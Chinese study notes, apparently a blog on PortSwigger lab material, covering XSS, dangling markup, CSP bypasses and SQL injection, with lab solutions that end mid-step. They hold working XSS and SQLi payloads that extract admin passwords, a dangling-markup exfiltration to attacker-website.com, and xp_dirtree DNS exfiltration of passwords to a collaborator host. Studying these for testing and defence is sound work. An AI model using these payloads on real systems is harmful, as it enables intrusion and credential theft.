`1`	`comment=%3Cscript%3E%2F%2BBad%2Bstuff%2Bhere...%2B%2F%3C%2Fscript%3E`

该恶意评论会被应用程序存储至数据库。当其他用户访问该博客文章时，应用程序会从数据库中读取该评论并嵌入响应内容，返回结果如下：

`1`	`<p><script>/* Bad stuff here... */</script></p>`

此时，攻击者注入的恶意脚本会在受害用户的浏览器中执行，且执行上下文与受害用户的应用程序会话相关联。

影响

存储型 XSS 与反射型 XSS 的关键区别在于攻击的自包含性：

存储型 XSS 的攻击完全依托应用程序自身完成：攻击者只需将恶意脚本注入并存储到应用中（如评论区、数据库），无需依赖外部渠道诱导用户触发（如发送恶意 URL、诱导提交表单），只需等待用户自然访问包含恶意脚本的页面即可。
反射型 XSS 则依赖外部触发：攻击者必须通过邮件、社交平台等外部方式，诱导用户主动发起包含恶意代码的请求，攻击才能生效。

当 XSS 漏洞仅影响已登录用户时，存储型 XSS 的自包含特性会显著提升攻击成功率：

反射型 XSS 的攻击存在 “时间窗口限制”：若用户点击恶意链接时未登录应用，攻击将无法利用用户会话权限，大概率失效；
存储型 XSS 可完全规避该问题：用户只有在登录状态下才会访问包含恶意脚本的页面（如已登录用户查看评论、个人中心等），一旦访问，恶意脚本会直接在用户的登录会话上下文的中执行，攻击成功率极高。

漏洞发现

一、明确测试范围

需测试的输入入口（数据进入应用的渠道）

所有攻击者可注入数据的场景均需覆盖，包括：

核心输入点：URL 查询字符串、POST 请求体中的参数 / 数据，URL 文件路径（如/profile/[输入值]）；
特殊输入点：部分在反射型 XSS 中难以利用的 HTTP 请求头（存储型场景下可能被持久化，需纳入测试）；
带外输入渠道（取决于应用功能）：攻击者通过非直接交互方式提交数据的路径，例如：
- 邮件应用：处理收到的邮件内容；
- 社交动态展示应用：解析第三方平台（如 Twitter）的推文数据；
- 新闻聚合应用：嵌入其他网站的来源数据。

需测试的输出出口（数据展示的场景）

所有可能向用户返回数据的 HTTP 响应场景，包括：

公开页面（如博客评论区、商品评价页）；
私密页面（如用户个人中心、后台管理面板）；
特殊功能页面（如审计日志、历史操作记录、通知列表）。

二、手测

若逐一测试 “输入 - 输出” 的所有组合（每个输入对应每个输出），在多页面应用中完全不现实。更高效的做法是：

系统性遍历输入入口：为每个输入点提交一个唯一标识值（如stored_xss_test_123）；
监控应用响应：观察所有后续访问的页面响应，检测该标识值是否出现；
重点关注高风险功能：优先测试评论区、个人资料编辑、动态发布等典型存储场景；
验证数据持久性：若标识值出现在响应中，需确认该数据是 “跨请求存储”（如数据库存储），而非仅在单次请求中反射（避免误判为反射型 XSS）。

三、漏洞验证

当找到明确的 “输入 - 输出” 对应关系后，需按以下步骤验证存储型 XSS 漏洞，流程与反射型 XSS 测试大致一致：

确定输出上下文：分析标识值在响应中的嵌入位置（如 HTML 标签间、标签属性、JavaScript 代码块等）；
设计适配载荷：根据上下文场景，构造能触发 JavaScript 执行的候选攻击载荷（如属性上下文用"onerror=alert(1)x="，JS 上下文用";alert(1);//）；
提交并验证：将载荷通过输入入口提交（如发布含载荷的评论），访问对应的输出页面，检查载荷是否被原样存储并展示；
绕过输入处理：若载荷被过滤 / 编码，根据应用的输入验证规则（如过滤<script>标签、HTML 编码），调整替代载荷（如事件驱动标签、大小写混淆、编码绕过）；
浏览器确认：最终在真实浏览器中访问输出页面，验证恶意脚本是否实际执行（如用alert(document.domain)触发弹窗）。

DOM型

文档对象模型（DOM）通过将文档的结构（例如表示网页的 HTML）以对象的形式存储在内存中，将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分，但它通常与 JavaScript 相关。

DOM型跨站脚本攻击（DOM-based XSS）漏洞的核心成因是：JavaScript从攻击者可控制的数据源（如URL）获取数据后，将其传递给支持动态代码执行的数据接收点（Sink）（如eval()函数、innerHTML属性），导致攻击者注入的恶意JavaScript代码被执行，最终通常可实现劫持用户账户等攻击目的。

漏洞发现

绝大多数DOM型XSS漏洞可通过Burp Suite的Web漏洞扫描器快速、可靠地检测。手动测试需借助带开发者工具的浏览器（如Chrome），按“逐个测试数据源→针对性验证接收点”的逻辑开展。

一、测试HTML类接收点（如innerHTML、document.write()）

HTML类接收点的核心特征是：攻击者输入的数据会最终嵌入DOM结构中，测试步骤如下：

注入标识字符串：将随机字母数字组合（如dom_xss_test_789）注入目标数据源（如URL查询字符串?param=dom_xss_test_789）；
检查DOM中的位置：
- 注意：浏览器“查看源代码”功能无效（无法显示JavaScript动态修改后的DOM），需打开Chrome开发者工具（F12），在「Elements」面板中按Ctrl+F（Mac为Command+F）搜索标识字符串，定位其在DOM中的具体位置；
分析上下文并测试：根据标识字符串的嵌入上下文，调整输入内容测试是否可突破限制：
- 若在双引号包裹的属性中（如<input value="标识字符串">），尝试注入双引号（"）+ 事件脚本（如"?onclick=alert(1)x="），测试是否能跳出属性并触发脚本；
- 若在HTML标签间（如<div>标识字符串</div>），尝试注入<script>标签或事件驱动标签（如<img src=x onerror=alert(1)>）。

不同浏览器对URL数据源的编码行为不同，直接影响攻击效果：

Chrome、Firefox、Safari：会对location.search（查询字符串）和location.hash（片段标识符）进行URL编码（如<编码为%3C）；
IE11、旧版Edge（非Chromium内核）：不会对上述数据源编码；
若注入的数据在被处理前已被URL编码，通常无法触发XSS（编码后的特殊字符无法被浏览器解析为脚本语法）。

二、测试JavaScript执行类接收点（如eval()、setTimeout()）

此类接收点的核心特征是：攻击者输入的数据会作为JavaScript代码执行，且不一定会嵌入DOM中，测试难度更高，步骤如下：

定位数据源引用：打开Chrome开发者工具，按Ctrl+Shift+F（Mac为Command+Alt+F），搜索页面所有JavaScript代码中对目标数据源的引用（如搜索location.search、location.hash）；
通过调试跟踪数据流转：
- 在数据源被读取的代码位置设置断点（点击代码行号左侧）；
- 刷新页面触发断点，逐步跟踪数据流向：观察数据源的值是否被赋值给其他变量，若有则继续搜索这些变量，直至找到其传递到的危险接收点（如eval(变量名)）；
验证并构造载荷：在断点处悬停变量，查看数据传递到接收点前的原始值；根据接收点的语法规则构造载荷（如eval()接收字符串，可注入";alert(1);//闭合原有字符串并执行脚本）。

三、使用DOM Invader工具简化测试

在实际场景中，DOM型XSS的测试往往需要手动分析复杂、压缩后的JavaScript代码，过程繁琐。若使用Burp内置浏览器，可借助其自带的DOM Invader插件，该工具能自动识别数据源与接收点的关联、跟踪数据流转，大幅降低手动测试的工作量。

DOM Invader - PortSwigger

漏洞利用

DOM型XSS的漏洞本质是：攻击者可控的数据源（如URL）经客户端JavaScript流转至危险接收点（Sink），且未做安全处理，导致恶意脚本执行。实际利用需适配数据源/接收点特性，绕过页面数据验证逻辑。

接收点类型	特性与示例载荷
document.write()	支持`<script>`标签，可直接注入：`<script>alert(document.domain)</script>`；需注意闭合现有HTML元素
innerHTML	现代浏览器不支持`<script>`，需用事件驱动标签：`<img src=1 onerror=alert(document.domain)>`
jQuery（attr()）	若控制href等属性，可注入JS协议：`javascript:alert(document.domain)`
jQuery（$()选择器）	旧版本存在漏洞，可通过hashchange事件注入：`#<img src=1 onerror=alert(1)>`（需iframe触发）
AngularJS	支持双花括号执行JS，无需尖括号/事件：`{{alert(document.domain)}}`（需网站启用ng-app）

第三方依赖漏洞：jQuery、AngularJS等框架的特定函数（如jQuery的html()、AngularJS的表达式）可能成为接收点；
结合反射/存储机制：
- 反射型DOM XSS：服务器将URL参数反射到页面，客户端脚本 unsafe 处理后触发；
- 存储型DOM XSS：服务器存储恶意数据，后续响应中客户端脚本 unsafe 处理该数据。

原生JS接收点

`1`	`document.write()、document.writeln()、element.innerHTML、element.outerHTML、element.insertAdjacentHTML、element.onevent`

jQuery接收点

`1`	`add()、after()、append()、html()、prepend()、replaceWith()、$.parseHTML()`

防护措施

禁止将不可信数据源（如URL、用户输入）动态写入HTML文档；
遵循DOM型漏洞通用防护规则，对数据源进行严格过滤与编码；
及时更新第三方框架（如jQuery、AngularJS），修复已知漏洞。

悬挂标记注入

悬挂标记注入是一种无法实施完整XSS攻击时的跨域数据捕获技术，核心是通过构造“未闭合的HTML标记”，诱使浏览器将页面后续敏感数据作为请求参数发送至攻击者控制的服务器，本质是XSS攻击的替代攻击手段。

当应用程序将攻击者可控数据不安全地嵌入响应（如未过滤/转义特殊字符），但因输入过滤、内容安全策略（CSP）等限制无法实施常规XSS时，通过注入“未闭合的HTML属性/标签”，迫使浏览器解析后续页面数据并发送至攻击者服务器的攻击方式。

前提：

应用程序未过滤/转义>、"、'等关键字符，攻击者可突破属性/标签限制；
常规XSS攻击被阻断（如CSP拦截脚本执行、过滤所有脚本标签/事件）；
页面注入点后续存在敏感数据（如CSRF令牌、邮件内容、财务信息等）。

示例

假设应用响应中存在不安全嵌入的可控数据（未闭合属性/标签）：

`1`	`<input type="text" name="input" value="CONTROLLABLE DATA HERE<`

攻击者注入 payload："><img src='//attacker-website.com?
- 第一步："> 闭合原有value属性和<input>标签，回到HTML自由上下文；
- 第二步：创建<img>标签并定义src属性，但其src值仅开头（//attacker-website.com?），未闭合单引号，处于“悬挂”状态；
浏览器解析行为：浏览器会自动查找后续第一个单引号以闭合src属性，期间所有内容（从注入点之后到第一个单引号前）都会被当作srcURL的一部分，且非字母数字字符（如换行、尖括号）会被URL编码；
数据捕获：浏览器会向//attacker-website.com?[后续敏感数据]发送请求，攻击者通过服务器日志即可获取编码后的敏感数据。

防护措施

核心防护（与XSS通用）：
- 输出编码：将用户可控数据嵌入HTML时，对特殊字符（>、<、"、'等）进行HTML实体编码；
- 输入验证：严格校验输入数据，过滤可能用于突破标签/属性的特殊字符或标记。
辅助防护：
- 内容安全策略（CSP）：配置限制img、link等标签加载外部资源的策略（可阻断部分攻击，但非全部）；
- 依赖浏览器防护：Chrome浏览器已针对该攻击优化——禁止img等标签的URL包含尖括号、换行等原始字符，因捕获的敏感数据通常含此类字符，可直接阻断攻击。

CSP 内容安全策略

内容安全策略（CSP）是一种浏览器安全机制，核心目的是缓解XSS、悬挂标记注入、点击劫持等攻击，通过限制页面可加载的资源（如脚本、图片）、是否允许被其他页面嵌套等规则，构建安全的页面运行环境。其核心实现方式是通过HTTP响应头Content-Security-Policy，配置多个用分号分隔的指令（Directive）定义安全规则。

缓解XSS攻击

核心思路是白名单管控脚本来源，阻止攻击者注入的恶意脚本执行，主要通过script-src指令实现：

仅允许加载同源脚本：script-src 'self'（'self'表示当前页面所在域名）；
仅允许加载指定域名脚本：script-src https://scripts.normal-website.com；
进阶白名单方式（避免依赖外部域名风险）：
- 非ces（Nonce）：指令中指定随机生成的非ce值，脚本标签需包含相同nonce属性才允许执行（非ce需每次页面加载随机生成，不可猜测）；
- 哈希（Hash）：指令中指定可信脚本的内容哈希值，脚本内容哈希与指令匹配才允许执行（脚本内容变更需同步更新哈希值）；
注意事项：允许外部域名（如CDN）脚本时需谨慎，若第三方域名可被攻击者控制内容，仍可能引发攻击。

缓解悬挂标记注入攻击

通过img-src等指令限制可发起外部请求的资源来源，阻断攻击的数据捕获路径：

仅允许同源图片加载：img-src 'self'；
仅允许指定域名图片加载：img-src https://images.normal-website.com；
局限性：仅能阻断依赖<img>标签的攻击，无法防御<a>标签href属性等其他形式的悬挂标记注入。

防护点击劫持攻击

通过frame-ancestors指令限制页面被嵌套（iframe）的规则，比X-Frame-Options头更灵活：

仅允许同源页面嵌套：frame-ancestors 'self'；
完全禁止嵌套：frame-ancestors 'none'；
支持多域名/通配符：frame-ancestors 'self' https://normal-website.com https://*.robust-website.com；
优势：可验证父框架层级中所有页面的来源，而X-Frame-Options仅验证顶层框架。

CSP的绕过技巧

利用政策注入绕过

适用场景：网站将攻击者可控的输入（如URL参数）反射到CSP政策中（常见于report-uri指令）；
绕过逻辑：注入分号（;）分割原有指令，添加自定义指令；若report-uri是最后一个指令，需覆盖原有指令（如利用Chrome的script-src-elem指令，可覆盖script-src指令，控制脚本元素执行）。

突破外部请求限制

场景：CSP禁止所有外部请求；
绕过逻辑：诱导用户交互（如点击），注入含未闭合属性的HTML元素（如<a>标签），用户点击后将元素内的页面数据发送至攻击者服务器。

Burp靶场：SQL注入

Fri, 21 Nov 2025 00:00:00 +0000

知识

注入点

可以通过对应用程序的所有输入点执行一套系统化测试，手动检测 SQL 注入漏洞。通常需提交以下内容：

单引号字符 '，观察是否出现错误或其他异常；
特定 SQL 语法（其计算结果分别等于输入点的原始值和不同值），观察应用程序响应是否存在规律性差异；
布尔条件（如 OR 1=1、OR 1=2），观察应用程序响应差异；
用于在 SQL 查询执行时触发延时的负载，观察响应时间是否存在差异；
用于在 SQL 查询执行时触发带外网络交互的 OAST（带外应用安全测试）负载，并监控是否产生相关交互。

此外，也可以使用 Burp Scanner 快速、可靠地发现绝大多数 SQL 注入漏洞。

UNION 攻击

当应用程序存在SQL注入漏洞，且查询结果会返回到应用响应中时，可利用 UNION 关键字从数据库的其他表中获取数据。这种攻击方式通常被称为 SQL注入UNION攻击。

UNION 关键字允许执行一个或多个额外的 SELECT 查询，并将结果附加到原始查询中。例如：

`1`	`SELECT a, b FROM table1 UNION SELECT c, d FROM table2`

该SQL查询会返回一个包含两列的结果集，数据涵盖 table1 表的 a、b 列和 table2 表的 c、d 列。

要让 UNION 查询生效，必须满足两个关键条件：

各个查询必须返回相同数量的列；
各个查询对应列的数据类型必须兼容。

实施 SQL 注入 UNION 攻击时，需确保攻击手段符合这两个条件。这通常需要查明以下两点：

原始查询返回的列数是多少；
原始查询返回的列中，哪些列的数据类型适合承载注入查询的结果。

判断列数

在实施SQL注入UNION攻击时，有两种有效方法可确定原始查询返回的列数。

其中一种方法是注入一系列ORDER BY子句，并逐步增加指定的列索引，直至触发错误。例如，若注入点位于原始查询WHERE子句内的带引号字符串中，你需要提交以下负载：

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
……

这一系列负载会修改原始查询，使其按结果集中的不同列对结果排序。ORDER BY子句中的列可通过索引指定，因此无需知晓任何列名。当指定的列索引超过结果集中的实际列数时，数据库会返回错误，例如：

ORDER BY位置编号3超出了选择列表中的项目数量。

应用程序可能会在HTTP响应中直接返回数据库错误，也可能返回通用的错误响应，甚至可能仅返回空结果。无论哪种情况，只要能检测到响应中的差异，就能推断出查询返回的列数。

第二种方法是提交一系列UNION SELECT负载，其中包含数量不同的空值（NULL）：

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
……

若空值的数量与列数不匹配，数据库会返回错误。

我们将注入的SELECT查询的返回值设为NULL，原因是原始查询与注入查询的对应列必须数据类型兼容。而NULL可转换为所有常见的数据类型，因此当列数正确时，能最大程度提高负载的执行成功率。

寻找数据类型可用的列

SQL注入UNION攻击能让你获取注入查询的结果，而你想要提取的关键数据通常是以字符串形式存储的。这意味着，你需要在原始查询的结果中，找到一列或多列数据类型为字符串，或与字符串数据兼容的列。

在确定所需的列数后，你可以逐个探测每一列，测试其是否能存储字符串数据。你需要提交一系列UNION SELECT负载，依次在每一列中放入一个字符串值。例如，若查询返回四列，你应提交以下负载：

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

如果目标列的数据类型与字符串不兼容，注入的查询会触发数据库错误。

若未出现错误，且应用程序的响应中包含了额外内容（其中包含注入的字符串值），则说明该列适合用于提取字符串数据。

漏洞利用

当你确定了原始查询返回的列数，并找到可存储字符串数据的列后，就可以着手获取关键数据了。

假设存在以下条件：

原始查询返回两列，且这两列均支持存储字符串数据；
注入点位于WHERE子句内的带引号字符串中；
数据库中存在一个名为users的表，包含username（用户名）和password（密码）两列。

在这个示例中，你可以提交如下输入，获取users表中的数据：

`1`	`' UNION SELECT username, password FROM users--`

要实施此类攻击，你需要预先知晓数据库中存在users表，且该表包含username和password列。若缺乏这些信息，就需要猜测表名和列名。不过，所有现代数据库都提供了查看数据库结构的方法，可通过这些方法确定其中包含的表和列。

合并字符串

有时候，不会所有列都返回或显示，这时候就需要将字符串合并起来，具体需要看是什么数据库。

例如在 Oracle 数据库中，可提交如下输入：

`1`	`' UNION SELECT username \|\| '~' \|\| password FROM users--`

这里使用的双竖线||是 Oracle 的字符串拼接运算符。注入的查询会将username和password字段的值拼接在一起，并以~字符作为分隔。

不同数据库的差异

详见：SQL injection cheat sheet | Web Security Academy

对注释、查询等，不同的数据库会有不同的特定行为，需要根据需要更改。主要类型有：Oracle、Microsoft、PostgreSQL、MySQL

数据库信息查询

通过注入不同数据库厂商专属的查询语句，根据语句是否执行成功，来确定数据库的类型和版本。

以下是用于查询几款主流数据库版本的语句：

数据库类型	查询语句
微软 SQL Server、MySQL	SELECT @@version
Oracle	SELECT * FROM v$version
PostgreSQL	SELECT version()

列出数据库中的内容

多数数据库类型（Oracle 除外）都包含一组名为 信息模式（information schema 的视图，这组视图会提供数据库的相关元数据信息。

Oracle 不使用information_schema，而是通过内置系统表（如all_tables查看表名、all_tab_columns查看列信息）来获取元数据。

例如，你可以查询information_schema.tables来列出数据库中的所有表：

`1`	`SELECT * FROM information_schema.tables`

该查询会返回类似如下的结果：

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	TABLE_TYPE
MyDatabase	dbo	Products	BASE TABLE
MyDatabase	dbo	Users	BASE TABLE
MyDatabase	dbo	Feedback	BASE TABLE

上述结果表明数据库中有三张表，分别为Products、Users和Feedback。

随后，你可以查询information_schema.columns来列出单个表中的列信息：

`1`	`SELECT * FROM information_schema.columns WHERE table_name = 'Users'`

该查询会返回类似如下的结果：

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	COLUMN_NAME	DATA_TYPE
MyDatabase	dbo	Users	UserId	int
MyDatabase	dbo	Users	Username	varchar
MyDatabase	dbo	Users	Password	varchar

盲注

当应用程序存在 SQL 注入漏洞，但 HTTP 响应中不包含相关 SQL 查询的结果，也不显示任何数据库错误详情时，就会发生盲注。

许多注入技术（如 UNION 攻击）在盲注漏洞中无法奏效，这是因为这些技术的核心依赖是能在应用响应中看到注入查询的执行结果。不过，攻击者仍可利用盲注获取未授权数据，只是需要使用不同的技术手段。

布尔

什么技术手段呢？一个例子是，根据返回的内容进行判断，例如分别注入：

1
2

…xyz' AND '1'='1
…xyz' AND '1'='2

观察返回的结果，如果两个例子返回的不同，就可以根据返回结果来判断查询是否是有效的，我们能做的就很多了。你可以通过发送一系列输入，逐字符测试密码，最终确定某项数据。

操作步骤如下：

首先发送以下输入：
1

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
若返回成功，说明注入的条件为真，即密码的第一个字符大于 m。
接着发送以下输入：
1

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
若未返回成功，说明注入的条件为假，即密码的第一个字符不大于 t。

最终发送以下输入，若返回成功，则可确认密码的第一个字符为 s：

`1`	`xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's`

重复上述过程，即可系统性地推断出 Administrator 用户的完整密码。

SUBSTRING(查询的字符串，起始位置，截取几个字符)，在有些数据库里，又叫做 SUBSTR

条件

报错型 SQL 注入指的是：即便在盲注场景下，你仍可利用数据库返回的错误信息，直接提取或推断数据库中的敏感数据。与布尔盲注的差别主要是,报错盲注会返回具体的报错信息可供利用，或者只检查语句本身是否合法，而不检查语句是否为真。

要理解这种技术的工作方式，假设依次发送两个请求，请求中包含的TrackingId Cookie值分别为：

1
2

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入利用CASE关键字测试条件，并根据条件是否成立返回不同的表达式，具体逻辑如下：

第一个输入中，CASE表达式的结果为'a'，不会触发任何数据库错误；
第二个输入中，CASE表达式的结果为1/0（零除运算），会触发除零错误。

如果该错误会导致应用的HTTP响应产生可识别的差异（如返回500错误页、弹出提示信息），你就可以借此判断注入的条件是否成立。

借助这种技术，你可以通过逐字符测试的方式提取数据库中的数据，例如：

`1`	`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

典型错误：

类型转换错误：例如在数值列中注入字符串，仅当条件为真时执行该转换（如AND (IF(1=1, CAST('a' AS INT), 0))）；
子查询语法错误：构造仅在条件为真时返回多行的子查询，触发 “单行子查询返回多行” 错误；
函数调用错误：调用数据库内置函数时传入非法参数，仅在条件为真时触发函数执行错误。

报错

由于数据库配置不当，有时会输出错误信息，在某些情况下，你甚至可以诱导应用生成包含查询结果数据的错误信息。这一手段能将原本的盲注漏洞，转化为可直接查看数据的 “显错注入”，大幅降低攻击难度。

你可以使用CAST()函数实现这一目的，该函数的作用是将一种数据类型转换为另一种。例如，构造包含如下语句的查询：

`1`	`CAST((SELECT example_column FROM example_table) AS int)`

通常，你试图读取的目标数据是字符串类型，而将字符串强制转换为不兼容的类型（如整数int）时，数据库会抛出类似如下的错误：

ERROR: invalid input syntax for type integer: “Example data”

值得注意的是，若目标应用存在字符长度限制，导致你无法通过常规的条件响应方式进行盲注时，这种利用类型转换错误提取数据的方法会尤为有效。

时间

若应用在SQL查询执行时捕获数据库错误并优雅处理，其响应不会出现任何差异——这意味着前文所述的条件错误注入技术将失效。

这种情况下，可通过根据注入条件的真假触发不同时间延迟来利用盲注漏洞。由于应用通常会同步处理SQL查询，延迟SQL执行会导致HTTP响应同步延迟，因此可通过接收响应的耗时判断注入条件的真假。

触发时间延迟的技术因数据库类型而异。例如在Microsoft SQL Server中，可通过以下语句测试条件并根据结果触发延迟：

1
2

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

第一条输入不触发延迟（条件1=2为假）；
第二条输入触发10秒延迟（条件1=1为真）。

借助该技术可逐字符提取数据，示例如下：

`1`	`'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--`

SQL查询中触发时间延迟的方式多样，不同数据库适用不同技术，详情可参考SQL注入速查表。

带外

某些应用可能会以异步方式执行与之前示例相同的SQL查询：应用在原线程中继续处理用户请求，同时用另一个线程执行包含Tracking Cookie的SQL查询。此时查询仍存在SQL注入漏洞，但此前介绍的所有技术都将失效——因为应用的响应不依赖于查询返回的数据、数据库错误，也不依赖于查询的执行时间。

这种情况下，通常可以通过触发向你控制的系统发起带外网络交互来利用盲注漏洞。你可以基于注入的条件触发这类交互，从而逐段推断信息；更实用的是，还能直接通过网络交互泄露数据。

多种网络协议都可用于此目的，但最有效的通常是DNS（域名系统）——许多生产网络允许DNS查询自由出站，因为这是生产系统正常运行的必要条件。

使用带外技术最简单可靠的工具是Burp Collaborator：这是一个提供多种网络服务（包括DNS）自定义实现的服务器，能让你检测发送单个载荷后是否触发了网络交互。Burp Suite专业版内置了客户端，默认已配置好与Burp Collaborator的协作。更多信息可参考Burp Collaborator的文档。

触发DNS查询的技术因数据库类型而异。例如，在Microsoft SQL Server中，以下输入可导致数据库对指定域名发起DNS查询：

`1`	`'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--`

exec master..xp_dirtree调用系统存储过程，传入的参数是一个网络共享 UNC 路径（//域名/a）

这会让数据库查询以下域名：

`1`	`0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net`

子域名外带：

1
2
3

'; exec master..xp_dirtree '//' + (SELECT password FROM users WHERE username='administrator') + '.0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
或者多语句结合
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

你可以用Burp Collaborator生成唯一的子域名，然后轮询Collaborator服务器，确认DNS查询是否发生。

其他环境下的 SQL 注入

实际上，只要应用会将你可控制的输入作为SQL查询处理，任何这类输入都能用于实施SQL注入攻击。例如，部分网站会接收JSON或XML格式的输入，并利用这些输入查询数据库。

这些不同的格式能为你提供多种混淆攻击的方法，以绕过原本会被WAF（Web应用防火墙）及其他防御机制拦截的攻击。许多防御机制的实现较为薄弱，仅通过在请求中搜索常见的SQL注入关键字（如SELECT、UNION）进行拦截，因此你可以通过对禁用关键字中的字符进行编码或转义，绕过这类过滤。例如，以下基于XML的SQL注入就使用了XML转义序列对SELECT中的S字符进行编码：

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

该转义字符会在服务器端被解码后，再传递给SQL解释器执行。

二阶注入

一阶SQL注入指应用程序处理HTTP请求中的用户输入时，以不安全的方式将输入直接拼接到SQL查询中，导致漏洞触发。

二阶SQL注入则是指应用程序先接收HTTP请求中的用户输入并存储（通常存入数据库），但数据存储阶段并不存在漏洞；后续处理另一个HTTP请求时，应用程序从存储中读取该数据，却以不安全的方式将其拼接到SQL查询中，最终触发注入。因此，二阶SQL注入也被称为存储型SQL注入（stored SQL injection）。

二阶SQL注入的典型场景是：开发者已知一阶注入的风险，因此在数据首次存储时做了安全处理（如转义、参数化查询）；但后续读取该数据时，错误地认为“已存入数据库的数据是安全可信的”，未做任何安全校验就直接用于SQL查询，最终因这种“信任误用”导致漏洞。

典型场景示例

用户注册场景：注册时输入用户名 admin'--，应用程序用参数化查询将其安全存入数据库（存储内容为 admin'--）；
后台用户查询场景：管理员在后台查询用户信息时，应用程序读取数据库中的用户名，以不安全方式拼接SQL：
1

SELECT * FROM users WHERE username = '$stored_username';
拼接后实际执行的SQL为：
1

SELECT * FROM users WHERE username = 'admin'--';
注释符 -- 导致后续语句被忽略，实现越权查询。

防范注入

核心方案：参数化查询（预处理语句） 用占位符?替代直接字符串拼接，将SQL查询结构与用户输入数据彻底分离，数据库会自动转义特殊字符，从根源杜绝注入。这是处理数据层面输入（WHERE条件、INSERT/UPDATE值）的最优解。

局限性与替代方案 参数化查询无法用于SQL结构层面（表名、列名、ORDER BY子句）。此类场景需：

白名单校验：仅允许预设的合法值；
逻辑重构：通过业务逻辑绕开用户输入直接参与SQL结构。

关键原则

硬编码SQL常量：参数化查询的SQL语句必须是固定常量，不包含任何变量；
拒绝主观信任：无论数据来源（用户输入、数据库存储数据），均不直接拼接，避免二阶注入等风险；
禁用选择性拼接：不凭经验判断“数据是否安全”，彻底杜绝字符串拼接的使用。

Labs 题解

Union 攻击

常规

注入点：/filter?category=Corporate+gifts

题目要求用 NULL 查询，所以闭合引号后，逐步添加 NULL 即可。payload '+UNION+SELECT+NULL,NULL,NULL--

找可用列

注入点：/filter?category=Clothing%2c+shoes+and+accessories

先出列数 '+ORDER+BY+3--

题目说 Make the database retrieve the string: 'iIwJ8H' 所以用 'iIwJ8H' 逐个替换 NULL 查询即可。

感觉有点奇怪的判断……

拼接字符串

注入点：/filter?category=Gifts

先判断列数：发现只有两列，而且只有一列是 string：'+UNION+SELECT+NULL,'abc'--,所以得考虑将 username 和 password 拼接起来

payload：'+UNION+SELECT++NULL,username||'~'||password+FROM+users--

数据库查询

普通查询

注入点：/filter?category=Gifts

先判断列数：发现 'UNION+SELECT+NULL,NULL-- 不管多少都查询错误，考虑可能是数据库不一样，换成了 'UNION+SELECT+NULL,NULL#-- ，查询成功，然后查询指定列即可。

查表、列名

注入点：/filter?category=Gifts

先判断列数：'+ORDER+BY+2 两列

1.查表名，这里出了问题。一开始的查询：'+UNION+SELECT+*,+NULL+FROM+information_schema.tables--，如果用通配符的话，会导致列数的不匹配！需要直接指定列名：'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--，发现特殊表 users_inatpk

2.查列名，'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_inatpk',查询 information_schema.columns 表，需要指定对应的表名，否则结果很多，发现列名 password_xzxkya username_rxlzlc

3.查数据，'+UNION+SELECT+username_rxlzlc,password_xzxkya+FROM+users_inatpk--

盲注

布尔盲注

1.注入点：Cookie: TrackingId=ZVcenZbEGyKbb2Nc，用 ' and '1' ='1 来判断一下是否存在布尔盲注，发现查询成功的话会返回 Welcome 字段。

2.检验：' AND (SELECT 'a' FROM users WHERE username='administrator')='a 来判断 users 表是否存在。这里的思路是 select 出一个恒等的字符串来验证，后面方便拼接进语句。

3.查长度：' AND (SELECT 'a' FROM users WHERE username='administrator' and length(password)>1)='a 确定存在，然后 ' AND (SELECT 'a' FROM users WHERE username='administrator' and length(password)=20)='a 确定有 20 位

4.查各个位数：手动查显然太麻烦了，这里用 Burp 的 Intruder 可以半自动查询。语句为 ' and (select substring(password,1,1) from users where username='administrator') = 'a,把最后的 a 设为爆破点，然后手动调整 (password,num,1) 进行爆破。

5.记录：birxocztgrtwf7ugbhw3

条件盲注

1.判断注入点：Cookie: TrackingId=y0chXfk5EGo4lz1o，' 报错，'' 不报错，从而确定是 SQL 语法报错注入。

2.判断数据库类型：'||(SELECT '')||' 报错，'||(SELECT '' FROM dual)||' 不报错，从而判断是 Oracle

3.验证目标表存在：'||(SELECT '' FROM not-a-real-table)||' 报错，'||(SELECT '' FROM users WHERE ROWNUM = 1)||' 不报错

这里用 ROENUM 类似 limit，为的是方式返回多行结果

总体思路就是通过字符串拼接来测试报错

4.条件判断可行性：'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' 不报错，而改成 1=2 报错（除零），故可行。

5.出长度：'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

